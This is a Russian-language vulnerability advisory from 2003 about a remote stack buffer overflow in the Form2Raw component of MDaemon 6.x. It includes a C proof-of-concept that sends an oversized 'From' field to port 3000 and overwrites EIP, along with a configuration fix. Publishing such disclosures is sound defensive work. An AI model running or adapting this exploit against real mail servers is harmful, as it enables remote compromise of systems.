Security Lab

Удаленное перполнение буфера в почтовом сервере Mdaemon

Дата публикации:31.12.2003
Всего просмотров:2098
Опасность:
Средняя
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Компрометация системы
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: MDaemon 6.x
Уязвимые версии: Mdaemon 6.52 - 6.85

Описание: Переполнение буфера обнаружено в почтовом сервере Mdaemon в Form2Raw компоненте. Удаленный пользователь может выполнить произвольный код на уязвимой системе.

Удаленный пользователь с доступом к web интерфейсу может внедрить более 153 байт в поле "From", чтобы заставить CGI код создать Raw Message файл, который вызовет переполнение стекового буфера в mdaemon.

FORM2RAW.exe доступен по умолчанию в WorldClient web сервере на 3000 порту.

Пример/Эксплоит:

#include <windows.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")
#define RET 0x1dff160
#define PORT 3000
void main(int argc, char **argv)
 
     SOCKET s = 0;
     WSADATA wsaData;

    if(argc < 2)
     {
          fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \
"\nUsage: %s <target ip> \n", argv[0]);
     
		  printf("%d",argc);
		       exit(0);
    }

     WSAStartup(MAKEWORD(2,0), &wsaData);

     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

     if(INVALID_SOCKET != s)
     {
          SOCKADDR_IN anAddr;
          anAddr.sin_family = AF_INET;
          anAddr.sin_port = htons(PORT);
          anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);
               
          if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
          {
               static char buffer[500];
	   int i;
	   memset(buffer,0,sizeof(buffer));
	   strcpy(buffer,"get /form2raw.cgi?From=");
	   for(i=0;i<244;i++) {
			   strcat(buffer,"a");
	   }
	   strcat(buffer,"bbbb"); //Overwrites EIP
           strcat(buffer,"c");	//One byte left after ESP :-(
	   strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");
			   
	   send(s, buffer, strlen(buffer), 0);
	   printf("Exploit Sent.");
	         }
	  else printf("Error Connecting to The Target.\n");
        closesocket(s);
   }
WSACleanup();

URL производителя: http://www.altn.com/Products/Default.asp?product_id=MDaemon

Решение: До выхода исправления рекомендуется отключить FORM2RAW: Откройте

\MDaemon\WorldClient\WorldClient.ini
и удалите строки
CgiBase2=/Form2Raw.cgi
CgiFile2=C:\MDaemon\CGI\Form2Raw.exe.
Ссылки: Remote buffer overflow in Mdaemon Raw message Handler